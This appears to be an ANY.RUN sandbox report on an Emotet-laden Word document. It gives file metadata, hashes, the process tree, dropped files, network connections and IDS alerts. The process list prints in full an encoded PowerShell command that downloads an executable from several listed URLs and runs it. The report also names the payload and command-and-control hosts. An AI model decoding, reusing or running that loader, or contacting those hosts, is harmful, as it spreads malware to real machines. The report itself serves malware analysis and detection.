File name: | 6921782838.doc |
Full analysis: | https://app.any.run/tasks/91f65a1c-a46e-47b5-bce0-58a16d4eed7d |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | May 20, 2019, 12:51:40 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: firewall Money Market Account gold, Subject: Clothing & Outdoors, Author: Domenica Mueller, Comments: Refined Plastic Car Handmade Handmade Soft Sausages, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri May 17 06:55:00 2019, Last Saved Time/Date: Fri May 17 06:55:00 2019, Number of Pages: 1, Number of Words: 29, Number of Characters: 170, Security: 0 |
MD5: | CB54230D8DB07B325BC95622E0CD566F |
SHA1: | C2B2A763CCC5A9E1398D9BA3EE14E571005D8541 |
SHA256: | F467517F2FBC08D4443A80F0C2843FB40393B61B06FD16AF5F89A28E7344D7B4 |
SSDEEP: | 3072:M77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qeiZwA9tzzGO4evgQo8:M77HUUUUUUUUUUUUUUUUUUUT52VH+wAj |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserTypeLen: | 32 |
---|---|
CompObjUserType: | Microsoft Word 97-2003 Document |
Title: | firewall Money Market Account gold |
Subject: | Clothing & Outdoors |
Author: | Domenica Mueller |
Keywords: | - |
Comments: | Refined Plastic Car Handmade Handmade Soft Sausages |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2019:05:17 05:55:00 |
ModifyDate: | 2019:05:17 05:55:00 |
Pages: | 1 |
Words: | 29 |
Characters: | 170 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | Gutmann Group |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 198 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
Manager: | Hermiston |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3948 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\6921782838.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2688 | PowErsHell -enC JABjADMANwA1ADcAXwA2ADQAPQAnAGoANQA4ADcANwA1ACcAOwAkAGEAOAAyADkAOAA1ADYAMgAgAD0AIAAnADEAMgAyACcAOwAkAHAAOQAxADkAOAAxADkANgA9ACcAaQAxADkAXwBfADcAMgAnADsAJABZADIANwBfADYANQBfAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABhADgAMgA5ADgANQA2ADIAKwAnAC4AZQB4AGUAJwA7ACQARQAxAF8AMQA0ADgAMgA9ACcAYgAzADMANAA2ADMAMAAyACcAOwAkAG0ANwBfADcAOABfADAAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQBgAFQALgB3AGAAZQBgAEIAYwBMAGkARQBOAFQAOwAkAHMANAAyAF8AOAA2ADcAPQAnAGgAdAB0AHAAOgAvAC8AYwBsAGEAcwBzAGkAYwBpAG0AYQBnAGUAcgB5AC4AYwBvAG0ALwBiAHUAcwBpAG4AZQBzAHMALwBpAEEARwBLAGIAeABmAHMAawAvAEAAaAB0AHQAcAA6AC8ALwBlAGQAYQBuAGQAdAByAGkAcwBoAC4AYwBvAG0ALwBiAGwAdQBlAC8AOAB3AHMAZQBfAHoAcgBkAG4AeAAyAGMALQA5ADcANwA1AC8AQABoAHQAdABwADoALwAvAGYAaQBuAGUAdAByAGEAZABlAC4AagBwAC8AZABhAHQAYQAvAG0ARgBhAHAAUgByAE4ARwBFAC8AQABoAHQAdABwADoALwAvAG0AZQBlAG4AYQBrAHMAaABpAG0AYQB0AHIAaQBjAGgAcwBzAC4AZQBkAHUALgBpAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB6AFIAdQBuAHMARwBjAGwAcwAvAEAAaAB0AHQAcAA6AC8ALwB0AGEAbgBpAGIAaQBzAG4AaQBzAC4AdwBlAGIALgBpAGQALwB3AHAALwB4AGEAOQBvAF8AOAA4AHAAagA1AG0AYwByAC0AMgA2AC8AJwAuAFMAUABMAGkAVAAoACcAQAAnACkAOwAkAHcANQA5ADUANwA4ADAAPQAnAFgAOQAxADYANwA2ADAAXwAnADsAZgBvAHIAZQBhAGMAaAAoACQAbAAzADEANgAwADcAXwAgAGkAbgAgACQAcwA0ADIAXwA4ADYANwApAHsAdAByAHkAewAkAG0ANwBfADcAOABfADAALgBEAE8AVwBOAGwATwBBAEQAZgBpAEwARQAoACQAbAAzADEANgAwADcAXwAsACAAJABZADIANwBfADYANQBfACkAOwAkAGkAMgA2ADAAOQBfADgANAA9ACcAYQAxADkAMQA4ADAAMwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAFkAMgA3AF8ANgA1AF8AKQAuAEwARQBOAEcAdABIACAALQBnAGUAIAAyADYANAA0ADEAKQAgAHsALgAoACcASQBuAHYAbwAnACsAJwBrAGUALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAWQAyADcAXwA2ADUAXwA7ACQAVQA2ADYAMgA4ADMAPQAnAGsAOQA4ADQAMQA2ADAAMwAnADsAYgByAGUAYQBrADsAJAB6ADYAXwA0ADYANwA1AD0AJwB3ADkAOAAzADcANAA2ADQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVAAzADcANQBfADgANwA9ACcAQwA0ADIANQA1ADgAJwA= | C:\Windows\System32\WindowsPowerShell\v1.0\PowErsHell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3248 | "C:\Users\admin\122.exe" | C:\Users\admin\122.exe | — | PowErsHell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
1888 | --33c65eaf | C:\Users\admin\122.exe | 122.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2780 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 122.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
596 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
1548 | "C:\Users\admin\AppData\Local\soundser\SHr467HqD.exe" | C:\Users\admin\AppData\Local\soundser\SHr467HqD.exe | — | soundser.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2864 | --45b8be44 | C:\Users\admin\AppData\Local\soundser\SHr467HqD.exe | SHr467HqD.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2328 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | SHr467HqD.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
252 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | |
User: admin Integrity Level: MEDIUM |
PID | Process | Filename | Type | |
---|---|---|---|---|
3948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR3EC2.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2688 | PowErsHell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NM8YEGA5GIT9UO9GHWXN.temp | — | |
MD5:— | SHA256:— | |||
3948 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\6921782838.doc.LNK | lnk | |
MD5:92F432F3D54B970B2216AB5C969DF8FE | SHA256:55AC79EB3369703BBA2E92E9DBFE82F1F0E2E3B20713DEE2553D1D9FC834A1A3 | |||
3948 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:1CB00C9183832692A68E78FF8C9B9139 | SHA256:E859937D3862B706BB084739AEF998E5529A346EE1D08992F89EFBEE30ABBB2E | |||
3948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EA8DF7DD.wmf | wmf | |
MD5:7316496AC830E7D0D79325CA88F92283 | SHA256:0C88E10C231A872C418775EFB8A3051F018E9082CA8CABE8EBEFBCC5B728E1F6 | |||
2688 | PowErsHell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF | SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5 | |||
3948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AE8CA43A.wmf | wmf | |
MD5:6D0190FBC656B77CD39199DBCC53D222 | SHA256:0E06333D7108C33C6BE0B696F2CE6035EAB80D14B60B27D37C5CE8C7B81D6809 | |||
3948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A8219C79.wmf | wmf | |
MD5:296BCB45CEE85FEA6278BFA71DA1AB22 | SHA256:99D951A18772863C813A36C2BABCB5CF1B612EA8F4A577202FE7512BCE4EB5D8 | |||
3948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\74F35C4C.wmf | wmf | |
MD5:88E5BB511F377B6F7E0D2447CBCF47D0 | SHA256:07C1471E4D1A31903A30EAF7AC9E82A42491969FA59760C33241F4BC87DDFB96 | |||
3948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2BFD2DEF.wmf | wmf | |
MD5:ECE754A5AB7207C70D084AAE442D35B5 | SHA256:1AC097C560035B75F5CDC311DB751732B2B1FF9E2A329E45AA047C0296D1A742 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
596 | soundser.exe | POST | 200 | 69.251.12.43:80 | http://69.251.12.43/arizona/teapot/ringin/merge/ | US | binary | 65.6 Kb | malicious |
2688 | PowErsHell.exe | GET | 200 | 69.41.190.91:80 | http://edandtrish.com/blue/8wse_zrdnx2c-9775/ | US | executable | 74.0 Kb | suspicious |
252 | soundser.exe | POST | 200 | 69.251.12.43:80 | http://69.251.12.43/bml/ | US | binary | 148 b | malicious |
2688 | PowErsHell.exe | GET | 404 | 50.31.162.218:80 | http://classicimagery.com/business/iAGKbxfsk/ | US | text | 9 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2688 | PowErsHell.exe | 50.31.162.218:80 | classicimagery.com | Server Central Network | US | suspicious |
596 | soundser.exe | 69.251.12.43:80 | — | Comcast Cable Communications, LLC | US | malicious |
252 | soundser.exe | 69.251.12.43:80 | — | Comcast Cable Communications, LLC | US | malicious |
2688 | PowErsHell.exe | 69.41.190.91:80 | edandtrish.com | WZ Communications Inc. | US | suspicious |
Domain | IP | Reputation |
---|---|---|
classicimagery.com |
| malicious |
edandtrish.com |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
2688 | PowErsHell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2688 | PowErsHell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2688 | PowErsHell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
596 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
252 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |